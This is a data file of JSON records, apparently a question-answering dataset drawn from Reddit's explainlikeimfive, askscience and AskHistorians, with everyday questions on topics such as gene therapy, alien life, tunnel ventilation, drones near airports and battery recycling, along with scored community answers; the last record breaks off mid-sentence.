{"q_id": "afovgd", "title": "how is (or has) technology improving so quickly, when computer science/math is one of the hardest subjects?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/afovgd/eli5how_is_or_has_technology_improving_so_quickly/", "answers": {"a_id": ["ee0d0q0", "ee0ieug", "ee0jni6"], "score": [11, 3, 3], "text": ["Not everyone considers math and science hard topics. Those people are the ones doing the advancing.", "A lot of the recent improvements are improvements on existing technology or existing processes. Which is not to say they\u2019re not as impressive as inventing it the first time, but it\u2019s (relatively) easier. Getting something seemingly simple, like going from the LEDs from 30 years ago in to a product that can replace old lightbulbs took a lot of R & D and work. And it doesn\u2019t seem that impressive. It\u2019s a light bulb, we\u2019ve had those for decades.\n\nOnce the first product was made, though, going from that in to something more impressive is easier. Now you can have customizable lighting that changes and you can control from your cell phone. That\u2019s impressive and seems to have come quickly...largely because a lot of leg work on the \u201csimple\u201d LED bulb was done.", "I think computer science and math are easy. They follow logical rules and patterns, so as long as you know the patterns and can recognize them, you're all set. Now, if you try to have me write an argumentative essay that emotionally affects the reader, that essay would be a disaster because I'm horrible with emotions and writing. Everyone has their strengths and weaknesses."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "tydl2", "title": "radical reconstruction.", "selftext": "What is it? What is it Known for? How did it differ from Presidential reconstruction, in their approach to regard diversity and tolerance?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/tydl2/eli5_radical_reconstruction/", "answers": {"a_id": ["c4qtnfn"], "score": [2], "text": ["Radical Reconstruction was the radical republicans' plans to reintegrate the south into the union. It's terms were much more strict (50% of the population in each confederate state would have to pledge allegiance to the union) and it aimed for complete social reform as well. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1i71sj", "title": "How are mutations treated?", "selftext": "An article about a woman having a mutation that blocked estrogen reception ([comments](_URL_0_)) was posted, and someone replied that this knowledge would help in her treatment.  I have never heard of mutations being treated, or if they were they were not referenced as \"mutations\" but something else, maybe \"defects\".  Is there such a thing as \"treatment\" of a mutation?  How is it done if so?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1i71sj/how_are_mutations_treated/", "answers": {"a_id": ["cb1lu3y", "cb1t38u", "cb21cwn"], "score": [3, 3, 2], "text": ["They probably meant treatment as in ongoing supplemental chemicals of some kind, to make up for whatever her body is doing to her. It's kind of like of like treatment of Type I diabetes, it's regular insulin shots. For this woman it will be something else.\n\nIt is theoretically possible to fix genetic problems using [gene therapy via adenovirus](_URL_1_), for example. HIV-like viruses can be engineered to alter the DNA of cells in situ. This is how HIV works, by [inserting a section of DNA into a cell's DNA](_URL_0_), which eventually produces more HIV virions. Hijacking this process, you can add sections to someone's DNA which will make up for the DNA that's not doing its job.", "Mutations are not generally \"treated\" in the sense that we give medication to directly fix the mutation. This is partly the idea of gene therapy, where viruses or other delivery methods could be used to insert a functional gene or knock out a \"bad\" one, but it's not widespread or first line treatment in cases (to my knowledge). Instead, we generally treat what the mutation disrupts, like a mutation to increase activity of gene X is treated by an inhibitor of gene X or genes Y or Z that interact with gene X.", "As the other commenters have said, we're not really able to directly treat or correct a mutated gene yet - however we currently do very often treat the EFFECTS of a mutation. \n\nFor example: a mutation in the gene that codes for the protein insulin is mutated, so that no insulin is made, leading to Type 1 diabetes. We can't fix the mutation to make the body produce its own insulin, but we CAN supply insulin to the patient to fix the imbalance and solve the problem. Hundreds of genetic diseases are treated indirectly in this way all the time.\n\nKnowing exactly which gene (or group of genes) are mutated is very valuable to physicians who then may be able to come up with a drug or treatment which directly corrects the imbalance and only the imbalance (as opposed to providing drugs to treat symptom patterns, which may have very many other side effects)"]}, "title_urls": [], "selftext_urls": ["http://www.reddit.com/r/science/comments/1i693k/first_estrogen_receptor_mutation_found_in_a_young/"], "answers_urls": [["http://www.youtube.com/watch?v=odRyv7V8LAE", "https://en.wikipedia.org/wiki/Gene_therapy"], [], []]}
{"q_id": "2sxrep", "title": "why do we assume that \" aliens\" consist of the same building blocks as life on earth and that they need the same energy sources?", "selftext": "Isn't it possible that they do not need sunlight and live of energy that is considered poisionous or dangerous for life on earth?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2sxrep/eli5why_do_we_assume_that_aliens_consist_of_the/", "answers": {"a_id": ["cnttpmd", "cnttq49", "cntts6k", "cntu1a5", "cntu1ic", "cntu6jt", "cntuc5x", "cntyxs0", "cntz2xe", "cnu4haw", "cnu8cmc", "cnubvsp", "cnud2gb"], "score": [6, 62, 23, 7, 3, 2, 2, 2, 2, 2, 2, 13, 2], "text": ["We don't, necessarily. \n\nBut say you walk into a department store. You're looking for a specific Ninja Turtles toy. Now, where do you go in that store to find it? Do you go where you have only found toys in that store before, or do you just start looking through every isle at random?\n\nWe've only known life to come in a certain way and a certain type, and if we want to find more life it makes sense to narrow our searches that would support that certain way and certain type. ", "Yes, it is possible, and we've explored a few possible types of life that don't exist here on Earth (silicon-based instead of carbon-based is probably the best known). But if we're going to look for aliens, we have to look for *something*, and we may as well look for the one set of conditions we know work.", "We don't make that assumption.  It's just that we don't know what non-earth-like life would even look like, so we have no idea what to look for to try to find it.  We could look at random locations, but since we don't know what non-earth-like life is like, we could be looking at locations that aren't suitable for *any* type of life, thus wasting our time, and we wouldn't know it.\n\nSo we focus on conditions that we *know* are suitable for life based on the only example of life that we've ever found (Earth).", "Certain building blocks there is a very strong chance alien life would be similarly using for physical reasons.  Having water in them is almost certain as water is one of the smallest molecules that is liquid at \"reasonable\" temperatures for life.  Since it is such a small molecule it can pass through membranes and facilitate the movement of other stuff through cells.  Carbon is also very likely needed for life since its elemental charectoristics allow it to form a vast number of complex molecules.  Silicon could also do this but not nearly as well and silicon is far rarer then carbon.   The commonness of the stuff that makes life on earth is also a good indicator that there is a good chance thats what other life is made of.  If the most common stuff is also the best at doing what we think life requires why would it be reasonable to think other life was made of rarer stuff?", " > Isn't it possible that they do not need sunlight and live of energy that is considered poisionous or dangerous for life on earth?\n\nLots of organisms don't need sunlight -- that isn't strict criteria. However, we do know that sunlight is one of the most dramatic sources of energy available to a surface ecosystem, which is going to have a large effect on local chemistry and so we figure it may be required to kickstart the process. It's this local chemistry that produces energy for life, not the sunlight directly.\n\nWe usually target organic molecules and associated metabolites: ammonia, methane, carbon dioxide, to list a few. We aren't expecting life to form from \"dangerous\" energy, as there really aren't many forms of dangerous energy. The only one is nuclear, and it is generally thought that it doesn't release energy on the right timescale for biology to use it as a power source.", "No energy is \"poisonous\". Different substances are. Stars are just most popular source of usable energy in our Universe, that's why we try to find extraterrestrial life near one.\n\nAs for building blocks, hydrogen, carbon, nitrogen and oxygen are among most popular types of atoms in Universe, and only two types of atoms allow forming of complex molecules that qualify as \"life\" as we know it: carbon and silicon, and latter one is much much more rare in Universe. Moreover carbon molecules are pretty \"lifeless\" in all conditions but ones like ours, here on Earth.\n\nAll those are good reason to expect life in Universe to be carbon based and using water as a general rule, with everything else, like silicon-life being kind of exotic.", "there's tube worms in deep ocean trenches that live from methane w no sunlight, so i assume nothing.", "Tangential question: why don't we try to create silicon-based life? Then we could observe it and know what to look for.", "well...we have a very small sample size of planets with life on them, and if we can't narrow down what we are looking for we are left with \"something, somewhere, that acts in some way, and may or may not give detectable evidence of it's existence\" so we narrow down to the bare minimum of things life needs here on earth (energy...water...there is some diverse life here on earth)", "The building blocks (atoms and molecules) that support life on earth are all the building blocks that there are in the universe.\n\nThere is little scientific evidence that anti-matter solar systems exist, good scientific evidence that the elements on earth are the elements everywhere, and the laws of chemistry are the same everywhere.\n\nWhile aliens might be slightly different in their life chemistry, carbon based in water is much more efficient in terms of the basic chemistry processes.  Silicon is a plausible replacement for carbon, at a significant energy penalty, but that's only going to make sense if their planet has little carbon.  That's a pretty odd planet, but plausible.\n\nEnergy sources are a completely different matter.  There are lots of different energy sources, and the ones we use are mostly driven by economics.  Aliens with different goals, or different perspectives on long-term versus short-term return on investment, could have widely different energy mixes.  \n\nIn terms of aliens that come to visit us, they are going to have small-scale, light-weight, high energy-density power solutions like nuclear fusion or anti-matter that we don't have.  Simply because the energy needed to come and visit us is super humongous.", "Life on Earth is already stranger than that. There are bacteria that can eat and generate electricity directly.\n\n*Unlike any other living thing on Earth, electric bacteria use energy in its purest form\u2014naked electricity in the shape of electrons harvested from rocks and metals. We already knew about two types, Shewanella and Geobacter. Now, biologists are showing that they can entice many more out of rocks and marine mud by tempting them with a bit of electrical juice. Experiments growing bacteria on battery electrodes demonstrate that these novel, mind-boggling forms of life are essentially eating and excreting electricity.*", "Consider you're friend asking you to look for his lost key.\n\nTechnically you have no idea what to look for, these days electronic keys can have any shape, and normal keys come in very weird shapes. So you do the sensible thing, you look for something that you recognize as a key.\n\nSame with life, we know one kind of life, its hard to look for other forms, because we have no idea what to look for.", "Not everyone thinks that. Watch Star Trek. There are endless supply of odd aliens from noncorperal to photonic life forms. There was even an alien that was so big it ate voyager. Omg I'm a nerd."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "6s495x", "title": "what was \"pied\" about the pied piper?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6s495x/eli5_what_was_pied_about_the_pied_piper/", "answers": {"a_id": ["dl9xbce", "dla7wqb"], "score": [44, 7], "text": ["\"Pied\" is an archaic term for something that's multicolored.  The piper wore multicolored clothing.", "His clothes.  Pied means many-colored.  It's an old word that was used in Middle-English when that folk tale was written.  A Hawaiian shirt is pied.  So is a tie-dye.  Impress your friends next time the word is apropos!\n\nJoseph and his amazing techni-colored dreamcoat could have been named \"Joseph and his Pied Coat\" and it would mean the same thing.  Admittedly it doesn't have the same ring to it however."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "2dxj13", "title": "Medieval bureaucrats, how did that work?", "selftext": "In the period after the decline of the Roman administration, and before the rise of the early-modern government, how did the European kingdoms manage their affairs? I understand that the King, and his immediate family would necessarily hold some position of power, but who kept track of taxes, tolls, roads, and all those little things that are vital to the function of the kingdom?\n\nI want details, as much as possible.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2dxj13/medieval_bureaucrats_how_did_that_work/", "answers": {"a_id": ["cju6u6z", "cjuev79"], "score": [8, 2], "text": ["HUGE question. Is there any particular kingdom/region you had in mind? This is the period when common law and civil law began to emerge, so you're going to see a variety of methods of administration.", " >  I want details, as much as possible.\n\nIf you want this then you'll need to be more precise than asking about a 1000 year period.\n\nA book for the period 1170-1300 in England which I'd recommend is Sabapathy, J., *Officers and Accountability in Medieval England*, (Oxford, 2014)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1jykb5", "title": "why is president obama considered the most powerful person in the world?", "selftext": "Isn't that wrong since, theoretically,there is an equal amount of power between the three branches of government? ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1jykb5/eli5_why_is_president_obama_considered_the_most/", "answers": {"a_id": ["cbjj8v7"], "score": [5], "text": ["The president of the United States is the **individual** with the most power. Where the Legislative branch is distributed among the 435 representatives and 100 senators, and the Judicial power is distributed among the 9 Justices (at the highest level).\n\n*edit:\nThis is assuming that the USA is the most powerful nation in the world, and that the single most powerful person in the USA would therefore be the most powerful in the world.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "5yexhg", "title": "the purpose of the turbines you see in the top areas of road tunnels", "selftext": "I've been seeing lots of these in videos. Can anybody explain why they have these?\n\nEdit: I mean, those things that look like jet engines that are at each end, and are connected to their twin at the opposite end by a tube. They hang above the traffic.\n\nAnswered: Thank you all so much. Ill be back with new threads with more questions tomorrow", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5yexhg/eli5_the_purpose_of_the_turbines_you_see_in_the/", "answers": {"a_id": ["depf83t", "depj6jl", "depmm3m", "depmni6", "depojwc", "depvrie", "deq9s7w"], "score": [31, 21, 3, 7, 6, 4, 3], "text": ["It's likely an exhaust or intake for ventilation. Road tunnels are full of cars that give off toxic fumes, this can prevent build ups.\n\nBut without knowing specifically what you're talking about that's my best answer. ", "The large turbine-like fans are there to generate air flow through the tunnel. This is so as to prevent the build-up of toxic gasses in the tunnel.\n\nThese systems are often combined with emergency extraction fans which can be activated in the event of a fire, so as to reduce the chances of death by smoke inhalation. \n\nSee: _URL_0_", "They are used to keep the air 'fresh.' They protect from toxic build-up from car exhaust and keep it smelling less.", "Heard from engineer in ATL about this once, while sitting in traffic in a tunnel with them -- it has to do some with what was already mentioned, but also with the structural integrity of the tunnels. Heat builds up during static traffic scenarios and compromises tunnel materials. It helps a good bit with the upkeep of tunnel repair.", "Fires. There have been several bad fires in tunnels where people ended up dying. The huge fans pull out the smoke so trapped drivers don't suffocate. Same reason for side escape tunnels. NFPA 502 code Chapter 11.", "Just to clarify a bit, the other commenters who have mentioned ventilation are correct, but I'd like to specify that they are indeed fans and not turbines. Fans accelerate air whereas turbines extract work from moving air.", "As most people have said its to do with air flow to remove fumes. You'll also see it in basement car parks where natural ventilation isn't possible.\n\nIt's harder to exchange a volume of stale air/fumes there due to corners as there's not clear path through (ideally air is drawn in near the entrance and out through vents on the other side) so vortex fans are used to direct it/increase flow rate/volume."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://en.m.wikipedia.org/wiki/Tunnel#Safety_and_security"], [], [], [], [], []]}
{"q_id": "5l9vqh", "title": "What did people watch on New Year's Eve before Dick Clark's Rocking Eve?", "selftext": "According to Wikipedia, \"Rockin Eve\" became an annual tradition starting in 1972. The Times Square ball drop was happening long before that. How was the celebration in Times Square different than it is now, with all of it's media superstars? Also, what were party hosts tuning in to for \"the countdown\" in the radio and early TV era.\n\nMODS: I asked this question a few years ago but the response was deleted. Sorry for the repost but I thought it would be a good discussion for today.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/5l9vqh/what_did_people_watch_on_new_years_eve_before/", "answers": {"a_id": ["dbu163v"], "score": [13], "text": ["Before Dick Clark, the famous band leader Guy Lombardo was widely recognized as \"Mr. New Year's Eve,\" and his New Years Eve television broadcast was far and away the most watched TV program every New Year's - so much so that Lombardo frequently joked that he'd \"take New Year's Eve with me\" when he died (yes, he really was that popular).  Lombardo had started doing New Years Eve broadcasts in 1928 (on the radio), moved to TV in 1956, and remained the most popular face of New Years Eve until his death in 1977.\n\nThe format of the TV program was actually quite similar to Clark's, in that ended with a live count down from Times Square and showed the ball drop at midnight. But instead of rock groups, music was provided by Lombardo's band (The Royal Canadians). They mostly played 40s and 50s-style hits (think Irving Berlin, Sinatra, Broadway hits, etc), and were often joined by a guest vocalist or two. Instead of broadcasting *from* times square (as the Clark broadcast does today), most of Lombardo's show was shot in the ballroom of the Waldorf Astoria Hotel, where the band played, and an MC would introduce different numbers, vocalists, etc. and throw in a few jokes or skits here and there. Just before midnight, the show would cut to a different host in Times Square for the countdown and ball drop, then return to the Astoria ballroom while the band played \"Auld Lang Syne.\"\n\nTo get a feel for the broadcasts, check out an early example of Lombardo's TV broadcast [here](_URL_1_), and his last broadcast [here](_URL_0_).  It feels very hokey and old-folksy to us today, but it's important to recognize that this was very widely recognized as *the* New Years Eve broadcast throughout the 50s, 60s, and 70s. Even though Clark's broadcast started in 1972, Lombardo continued to get higher TV ratings (more viewers) right up to his death in 1977. The recording of \"Auld Lang Syne\" that you most often hear at midnight is also a recording of the Royal Canadians, since Lombardo played a big role in popularizing that as the \"new year's song.\"\n\nIf you're curious about Lombardo himself, there's a decent write-up [here](_URL_2_). \n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.youtube.com/watch?v=pL60HdslvOk", "https://www.youtube.com/watch?v=sPfrBxHgLmA", "http://www.thecanadianencyclopedia.ca/en/article/guy-lombardo-and-his-royal-canadians-emc/"]]}
{"q_id": "3xm49u", "title": "how much choice do soldiers get in terms of weaponry?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3xm49u/eli5_how_much_choice_do_soldiers_get_in_terms_of/", "answers": {"a_id": ["cy5slhf", "cy5smae", "cy5ub79", "cy5uppf"], "score": [3, 3, 2, 2], "text": ["What type of soldier? Infantry? Special operations? Artillery? Accountant? Band member? It'll likely depend on what exactly they do.", "Not much by the looks of it. Goes under the stigma: standardization equals success\n\nIf a soldier is on the field carrying, for example, a MP5, which, whilst having good accuracy, has nowhere near the stopping power or range needed in a soldiers weapon, he has to rely on his teammates to engage targets at longer ranges. If soldiers went into combat with personal favourites, a range of calibres could lead to co-dependance, which is already relied upon and under alot of stress in most combat situations where equipment is standardised\n\nI know their's the argument that \"specialist units have soldiers with a different weapon\" but that is the point of them, to fill in specialist niches i.e. Marksman's rifles, to stay back and identify targets which wouldn't be identified by regular weapon magnification. Or Anti armour units, who may be designated or assigned in areas known to have high concentrations of enemy armour", "Surprising I haven't seen a soldier reply yet.  \nDon't use Call of Duty as a reference to anything but the state of mind of a 12 year-old.  \n  \nMilitary soldiers don't really have a choice in what they take into battle.  They're issued a weapon.  In the US, it's typically an M-4 or M-16, might have a few attachments.  Grenadiers will have a grenade launcher attachment.  Gunners will have an M-249 or M-240.  They might have their own sight they can attach, but it was frowned upon back when I was in an armed career field.  They have standardized gear they get issued as well.  The gear is where some personalization may come into play, but there's a minimum standard of what they're required to have which is (or should be) issued to them.", "You are asking for a question to be answered, not an explanation of a complex problem. Try another sub."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "8aaih1", "title": "why do above ground pipelines have jogs in them every so often? every couple hundred of feet they do a 45 degree turn away to a straight section then a 45 degree back to its original position is there a reason for this?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8aaih1/eli5_why_do_above_ground_pipelines_have_jogs_in/", "answers": {"a_id": ["dwx29t3", "dwx8qy3", "dwxc8l8", "dwxjt7e"], "score": [49, 3, 6, 7], "text": ["It's to allow for thermal expansions and contractions. If it was just a straight pipe, it would buckle or break, the kinks give it a little room to move.", "This is to compensate for thermal expansion and contraction, as well as expansion differences in working pressure.\n\nBoth of these could cause a pipe to expand in length up to several inches over a length of a mile. If the pipe were straight, this would cause extreme compressive stress, causing it to buckle and fail.\n\nThe same process can be responsible for \"heat kink\" in railroads._URL_0_", "Because they are under direct sunlight and are expected to elongate in the heat. These turns allow the pipes to grow without buckling or breaking their supports/nozzles. \n\nIn the dessert and really hot regions the pipelines are designed with  \"expansion loops\" which serve the same purpose but allow for more thermal expansion. ", "Best picture of this has to be of TAPS - _URL_1_\n\nIt's avoiding a hill and going at an angle for a while to go down a slope\n\n_URL_0_\n\nThere its on sliders and at angles to reduce torque from moving on the sliders during a quake - it made it through a 7.9 in 2002"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://framwormbta.weebly.com/uploads/5/1/0/3/51037529/3622118.jpg?1432760473"], [], ["https://en.wikipedia.org/wiki/Trans-Alaska_Pipeline_System#/media/File:Trans_Alaska_Pipeline_Denali_fault_shift.jpg", "https://en.wikipedia.org/wiki/Trans-Alaska_Pipeline_System#/media/File:Trans-Alaska_Pipeline_System_Luca_Galuzzi_2005.jpg"]]}
{"q_id": "37tz4n", "title": "piss shivers", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/37tz4n/eli5_piss_shivers/", "answers": {"a_id": ["crptes0", "crpvyld", "crpxhzh", "crpz9hl", "crpzotv", "crpzyfm", "crq0qqk", "crq1qp3"], "score": [973, 151, 4, 2, 2, 11, 3, 4], "text": ["Sadly, this astonishing mystery has never been extensively studied. It's a sudden shudder, usually at the end of urination. It happens most often to males, but in rare cases, females experience it as well. Like the mighty myoclonus (the twitch), doctors have advanced far enough in understanding to give this reaction a long name: post-micturition convulsion syndrome. (This is where we play science detective. Not many of you know this, but 'post' often means 'after'. Or it means 'an oblong block of wood set into the ground.' In this case I believe it's most likely to mean 'after.' 'Convulsion' is a synonym for 'shudder' or 'shiver.' The dictionary taught me that. 'Syndrome' is a group of symptoms that occur in certain people; and so it explains that some people chronically have some difficulties, while others never do. And from the context, I would guess that 'micturition' means 'peeing.') So by examining its name we have found that that is it called, basically, 'after-peeing-shiver-thing-that-happens-to-certain-people.'\n\nAs to why it happens; no one really knows. There are two major schools of thought. One insists it's just a reflex to a drop in temperature. While peeing, certain parts are exposed which would otherwise be covered (I would hope). This causes a drop in body temperature. Urination also involves letting a lot of warm liquid out of the body, and so losing a lot of heat. This also causes a drop in body temperature. And even if the bathroom the pee-er is in isn't cold, the parts of the body that are exposed are accustomed to being bundled up in clothes that keep them at a higher temperature, so any exposure to the air would seem cold to those parts and make the body shudder to warm them.\n\nThe other main school of thought is this is a quirk of the autonomic nervous system. This is a pretty safe guess, since the autonomic nervous system is in control of many involuntary bodily functions. Anything you do without thinking about, like closing your eyes when you sneeze, is the result of the ANS taking charge. Some of the stuff that it does, though, has to be handed over to the conscious mind eventually. When we are going about our daily lives in public, the ANS keeps the bladder relaxed and all the various valves between the bladder and the outside world tensed. It does so without us thinking about it, which is good, because if it didn't, our response to every question would be, \"Look, I'm just trying to concentrate on not peeing on you,\" and our society would not have advanced very far.\n\nWhen we actually urinate, we voluntarily relax the valves and tense the bladder, sweeping aside the unconscious process we've been keeping up for most of our lives. Since that unconscious process involves fairly hardcore brain chemicals like dopamine and epinephrine, and the since the more we have to hold in, the more of those chemicals the brain has to put out to make sure we don't have an accident, the sudden switchover could invoke a twitching response in the body.\n\nOr it could be that ghosts are watching you and laughing. Enjoy your next trip to the bathroom. \n\nSource:\n_URL_0_", "I am a 25 year old guy and I've never heard of this in my life. Can someone ELI5 what this even is?", "The piss shiver is natures way of shaking it off. Before slacks a man could not tell if pee was on the tip of his penis after peeing. The piss shiver evolved from nature not wanting us to walk around with a drop of pee on the tip. See. So simple. Occam's Razor! Superstar!", "It's psychological. Actually I have no idea but I've never once experienced pee shivers (I'm a male) so that's what I assume.  ", "Whats a piss shiver?", "I think it may be possible that this phenomena has partly to do with sexual stimulation. In males, the urethra passes through the prostrate. In females, the internal clitoris hugs the urethra. As urine passes through the urethra through these areas, the pressure change may stimulate these organs in such a way as to cause a shiver.\n\nIn my personal experience, as a female, I have not had actual \"piss shivers\", but as that last bit of urine is released, I experience a small pleasurable sensation in my clitoris, and sometimes vagina, a fair amount of the time. Also, having pressure put on those organs from a full bladder makes it easier for me to be stimulated.\n\nThis is all speculation, but I wouldn't be surprised if there was a link.", "Maybe it's a little orgasm? The prostate is thought to be like a \"G-Spot\" for some men and the urethra does run right through the middle of the prostate and the urine would surely cause a little vibration on the way through.", "BuzzFeed uploaded a video about this phenomenon under an hour ago!\n _URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://io9.com/5810102/the-science-of-pee-shivers"], [], [], [], [], [], [], ["https://www.youtube.com/watch?v=vmt6b4D0WcI"]]}
{"q_id": "a7xbe5", "title": "why are the drones at gatwick airport causing so much disruption?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/a7xbe5/eli5_why_are_the_drones_at_gatwick_airport/", "answers": {"a_id": ["ec6dy7e", "ec6dyq2", "ec6e17e", "ec6geed"], "score": [5, 15, 4, 12], "text": ["Because they can cause a crash of a plane if sucked into the engines.  That is a bad thing for planes, and passengers.", "A plane running into one during the critical take off or landing phase could cause a crash if it hits the windscreen distracting the pilots or gets ingested into an engine. If people are deliberately flying them into the path of an aircraft they would have to cancel flights. Even if they were just trying to be disruptive, the authorities would have to assume that they are doing it with a worse intent just to be safe.", "A quadcopter can be quite heavy and contain some strong dense components in their motors in addition to the explosive lithium batteries. So if a jet engine hits a quadcopter it can damage critical components and cause the engine to blow up. The resulting shrapnel can go through the fuselage of the aircraft and injure people. It can also hit critical components in the wings or other sections making the aircraft uncontrollable resulting in a total loss of the aircraft and any potential structures on the ground. Even if this does not happen the engine blowing up can cause a fire to erupt which is equally deadly. There are also lots of other critical areas of the fuselage that the drone might hit and damage. For example the cockpit windows, hydraulic lines, flight surfaces, landing wheels, etc. You might say that the quadcopters near the airport is much smaller then what would cause this type of damage and are flying much lower then the aircrafts. However it can be very hard to determine size and distance so the aircraft pilots do not know this.", "An aircraft running into a drone can easily end with a lot of dead folks. The drone weighs enough that it can easily punch through plexiglass or the skin of an aircraft. If it gets sucked into an intake it\u2019ll destroy the engine. \n\nFlying a drone near an airport without proper clearance is extremely dangerous. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "3pqhme", "title": "if you have 2 similar sized skin abrasions sm, med, or lg, will they take longer to completely heal than if you have 1 skin abrasion?", "selftext": "I guess the ultimate question is whether or not the 'healing rate' of the body is proportional to the number of 'injuries', and if so, to what extent?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3pqhme/eli5_if_you_have_2_similar_sized_skin_abrasions/", "answers": {"a_id": ["cw8ks73"], "score": [2], "text": ["There are 2 types of wound healing: first intention and second intention. First intention healing occurs when the wound is more narrow (what people in the medical field call \"edges closely approximated\"). Second intention wounds are wider (edges are widely approximated). First intention wounds heal much more quickly than second intention wounds because the epithelial cells (skin cells) don't have to migrate as far to fill in the gap. The most important thing in wound healing is filling the gap in, and epithelial cells are responsible for this. The further they have to migrate, the longer the wound takes to heal. This applies even if the first intention wound is deeper than the second intention wound. The second intention wound will still take longer to heal. \n\nTo answer your other question: Unless the injuries are extremely extensive (I'm talking multiple bone fractures, blood vessel and nerve damage), or if were are talking about burns (which cause nerve damage), the answer is no. Epithelial cells are able to regenerate on their own, and then connective tissue cells fill in the gap."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "328n8j", "title": "why can energizer only utilize 4% recycled batteries for their new ecoadvanced batteries and what has happened to all of the other batteries i have went out of my way to \"recycle\" over the years?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/328n8j/eli5why_can_energizer_only_utilize_4_recycled/", "answers": {"a_id": ["cq8x7rc", "cq8xikk", "cq8xndj", "cq8y82l", "cq8zeq9", "cq90vfz", "cq918pu", "cq93t2x", "cq9707d", "cq9b9ua", "cq9ceg5", "cq9hpvf"], "score": [542, 106, 107, 15, 3, 26, 6, 4, 2, 3, 4, 2], "text": ["Not sure if recycling is the goal.   Batteries are a form of hazardous waste.  Separating them out of your normal trash and turning them into a recycle center allows the waste handlers to treat them separately, isolate them from normal less hazardous trash and dispose of them properly.  ", "Energizer's ecoadvanced batteries are really more of a marketing strategy than an effort to use post-consumer product.\n\nIt's called [greenwashing](_URL_0_)\n > Greenwashing (a compound word modelled on \"whitewash\"), or \"green sheen,\"[1][2] is a form of spin in which green PR or green marketing is deceptively used to promote the perception that an organization's products, aims or policies are environmentally friendly.\n\nNot saying it's not a start, but being an educated consumer is always important.", "Rebar, your old batteries are turned into rebar.  I work at a battery store and we painstakingly have to sort old batteries.  If you are going to recycle please sort them by chemistry- NICad, NiMH, ALK, etc...then turn them in.  Thanks!  ", "When you think of most recycling like paper, plastic, and glass they are taking a used product, and turning it back into the same or similar product.  With batteries, not so much.  They can't really be recycled back into batteries.  Some larger batteries can be refurbished, but usually in recycling they are looking to recover the metals in the batteries.  \n\nNickel, cadmium, and lithium as well as lead are common materials in the batteries.  It is much easier and cheaper to take a free product (recycled good) and recover the metals from it, than it is to mine new metals.  Nickel is often recovered and used in the plating industry.  ", "I bet they originally had less than 4% recycled material but found a way to bump it up to 4% so it was a slightly less laughable when they tell people how recycled it is. Or 4% is close to the minimum your product contains and still market them as recycled. I wonder is the 4% in the battery or is it in the cardboard backing in the packaging?  Assuming it's just in the batteries it means for every 25 batteries you buy, 1 is recycled.  In other words it would take some people years to use enough batteries to get to that 1 recycled battery.", "Just because you're recycling your batteries, doesn't mean that they are being turned into more batteries, only that they are being used again for a new purpose", "You assume that the product being recycled, will have the raw materials extracted reused in the production of the same product.  This does happen, Lead (from car batteries) and glass are good examples of this.  In the UK Lead production was (when I studied Recycling Technologies) was 98% reclaimed.\n\nAnother example was Aluminium where almost all the recycled metal went to Europe where it was added to steel blast furnaces to aid the degassing and to help with the slag formation.  So at one point zero percent of Aluminium cans where being recycled into new cans.", "it dose not mean only 4% of the recycled batteries are being used. ", "There is straight up a wikipedia article about [Recycling Batteries](_URL_0_)  \n  \n* Batteries contain a number of heavy metals and toxic chemicals and their dumping has raised concerns oversoil contamination and water pollution. Therefore the primary aim of battery recycling is to divide their components and dispose of them safely to protect the environment.  \n  \n* Lead acid batteries (Car batteries, Also Golf carts, UPSes, Fork Lifts etc) **have a 90% recycling rate**. They contain lead which can be recovered and reused. The high recycling rate might be because of the well established battery recycling services at everywhere that sells and services shit that needs lead acid batteries. Some States and Provinces offer a refundable deposit on batteries to encourage recycling. Businesses that sell car batteries may be required to collect old batteries by law.  \n  \n* Silver oxide batteries are those little silver button ones you put in watches. They contain a small amount of mercury. The mercury can be recovered and reused, but is also very toxic for the environment making their isolation a priority.  \n ", "My father has worked for a metals reclamation company for the past 17 years.  All batteries (from watch batteries to locomotive batteries) are valuable for their metal content.  Nickel is particularly useful as it is necessary for the production of stainless steel.  There is a modest but steady profit to be made by recycling batteries as well as other metal-rich waste products and refining them.", "If you're concerned about the enviromental impact of batteries, I suggest rechargable batteries. The initial cost is a bit higher but over thousands of cycles they can save a lot of money. Modern \"low 